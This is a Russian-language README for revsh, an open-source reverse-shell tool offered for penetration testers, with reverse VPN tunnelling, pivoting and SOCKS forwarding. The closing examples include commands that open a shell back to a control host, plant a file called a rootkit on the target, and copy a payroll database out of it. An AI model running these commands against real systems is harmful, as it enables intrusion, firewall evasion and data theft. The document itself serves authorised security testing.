
Обратная оболочка с поддержкой терминала, туннелированием данных и расширенными возможностями пивотинга.
revsh — это инструмент для создания обратных оболочек с поддержкой терминала, обратных VPN для продвинутого pivoting, а также туннелирования произвольных данных.
Что такое «обратная оболочка»?
Обратная оболочка — это сетевое соединение, предоставляющее доступ к оболочке на удалённом хосте. В отличие от других инструментов удалённого входа, таких как telnet и ssh, обратная оболочка инициируется удалённым хостом. Этот метод исходящего соединения из удалённой сети позволяет обходить файрволы, настроенные на блокировку только входящих соединений.
Что такое «обратный VPN»?
revsh способен подключать виртуальную ethernet-карту (tun/tap) к обоим концам своего криптотуннеля. Эти карты затем можно использовать для пересылки сырых IP-пакетов или ethernet-кадров. В сочетании с правилом NAT в Iptables или мостом с реальной ethernet-картой это позволяет оператору получить полностью маршрутизируемый IP-адрес в сети целевой машины. По сути, это полноценный VPN, совершающий обратный вызов к оператору для обхода фильтрации входящих пакетов и предоставляющий оператору полный сетевой доступ. (Подробнее см. «Documentation/REVERSE_VPN.md».)
Что такое «bind shell»?
Bind shell — это оболочка, предоставляемая через обычное прямое сетевое соединение. revsh поддерживает как обратные, так и bind-оболочки. Для вызова bind-оболочки можно использовать флаг -b на обоих концах соединения или запустить бинарник как 'bindsh'.
Разве нельзя использовать просто netcat?
Существует много техник для создания обратной оболочки, но эти методы не обеспечивают поддержку терминала. revsh позволяет получить обратную оболочку, соединение которой опосредовано псевдотерминалом, что даёт такие возможности, как:
Кроме того, revsh также предлагает следующие возможности:
revsh предназначен как вспомогательный инструмент для набора пентестера, предоставляющий полный набор терминальных функций через зашифрованный туннель.
Где можно использовать revsh?
revsh разработан на x86_64 Linux. Вот краткий список комбинаций архитектур / ОС, на которых он использовался:
(Если вы успешно использовали revsh на другой платформе, напишите мне, и я добавлю её в список.)
empty@monkey:~$ revsh -h
Control: revsh -c [CONTROL_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
Target: revsh [TARGET_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
ADDRESS Адрес управляющего слушателя. (По умолчанию «0.0.0.0».)
PORT Порт управляющего слушателя. (По умолчанию «2200».)
CONTROL_OPTIONS:
-c Запуск в режиме «команда и управление». (По умолчанию режим цели.)
-a Включить анонимный режим Диффи-Хеллмана. (По умолчанию эфемерный Диффи-Хеллман.)
-d KEYS_DIR Указать альтернативную директорию для ключей. (По умолчанию «~/.revsh/keys/».)
-f RC_FILE Указать альтернативный rc-файл. (По умолчанию «~/.revsh/rc».)
-s SHELL Использовать SHELL в качестве удалённой оболочки. (По умолчанию «/bin/bash».)
-F LOG_FILE Записывать общее использование и ошибки в LOG_FILE. (Не задано по умолчанию.)
TARGET_OPTIONS:
-t SEC Установить тайм-аут соединения SEC секунд. (По умолчанию «3600».)
-r SEC1,SEC2 Установить время повторной попытки SEC1 секунда, или (По умолчанию «600,1200».)
случайное значение в диапазоне от SEC1 до SEC2.
MUTUAL_OPTIONS:
-k Запуск в режиме keep-alive.
Узел не завершится нормально и не выйдет по тайм-ауту.
-L [LHOST:]LPORT:RHOST:RPORT
Статическое перенаправление сокетов с локальным слушателем
на LHOST:LPORT, перенаправляющим на RHOST:RPORT.
-R [RHOST:]RPORT:LHOST:LPORT
Статическое перенаправление сокетов с удалённым слушателем
на RHOST:RPORT, перенаправляющим на LHOST:LPORT.
-D [LHOST:]LPORT
Динамическое перенаправление сокетов с локальным слушателем
на LHOST:LPORT. (Socks 4, 4a и 5. Только TCP connect.)
-B [RHOST:]RPORT
Динамическое перенаправление сокетов с удалённым
слушателем на LHOST:LPORT. (Socks 4, 4a и 5. Только TCP connect.)
-x Отключить автоматическую настройку прокси. (По умолчанию: прокси D2280 и устройства tun/tap.)
-b Запуск в режиме bind shell. (По умолчанию режим обратной оболочки.)
Флаг -b должен быть указан на обоих концах.
-n Неинтерактивный брокер данных в стиле netcat. (По умолчанию интерактивный с удалённым tty.)
Без tty. Полезно для копирования файлов.
-v Подробный вывод. -vv и -vvv увеличивают подробность.
-V Вывести версию программы и протокола.
-h Показать эту справку.
-e Вывести несколько примеров использования.
Сначала необходимо собрать OpenSSL из исходников. (См. ПРИМЕЧАНИЕ ниже.)
git clone https://github.com/openssl/openssl.git
cd openssl/
./config no-shared -static # Эти параметры необходимы для сборки статических приложений с OpenSSL.
make && make test # Пропускаем "make install", чтобы не конфликтовать с системным OpenSSL. Соберём _revsh_ против только что скомпилированного OpenSSL в этом дереве.
cd ..
Теперь соберите revsh.
git clone https://github.com/emptymonkey/revsh.git
cd revsh
vi config.h # Настройте новые значения по умолчанию под вашу ситуацию.
vi Makefile # Проверьте, что выбранная среда сборки — та, что вам нужна. (Скорее всего, это уже по умолчанию.)
make # Это *может* занять очень много времени, но обычно нет.
make install
vi ~/.revsh/rc # Добавьте любимые команды запуска, чтобы настроить ощущение от удалённой оболочки.
revsh -h
ПРИМЕЧАНИЕ: С выходом OpenSSL 1.1.0 OpenSSL необходимо собирать из исходников для использования в статически слинкованном бинарнике. Сборка статически слинкованного бинарника против библиотек OpenSSL, поставляемых с большинством дистрибутивов Linux (включая Kali), не будет работать. (Если сборка вообще произойдёт, она вызовет SEGFAULT.)
Пример IP управляющего хоста: 192.168.0.42
Пример IP целевого хоста: 192.168.0.66
Интерактивный пример на порту по умолчанию '2200':
управляющий: revsh -c
цель: revsh 192.168.0.42
Интерактивный пример на нестандартном порту '443':
управляющий: revsh -c 192.168.0.42:443
цель: revsh 192.168.0.42:443
Пример Bind shell:
цель: revsh -b
управляющий: revsh -c -b 192.168.0.66
Неинтерактивный пример загрузки файла:
управляющий: cat ~/bin/rootkit | revsh -c -n
цель: revsh 192.168.0.42 > ./totally_not_a_rootkit
Неинтерактивный пример скачивания файла:
управляющий: revsh -c -n >payroll_db.tar
цель: cat payroll_db.tar | revsh 192.168.0.42
Неинтерактивный пример скачивания файла через существующий туннель:
управляющий: revsh -c -n 127.0.0.1:2291 >payroll_db.tar
цель: cat payroll_db.tar | revsh 127.0.0.1:2290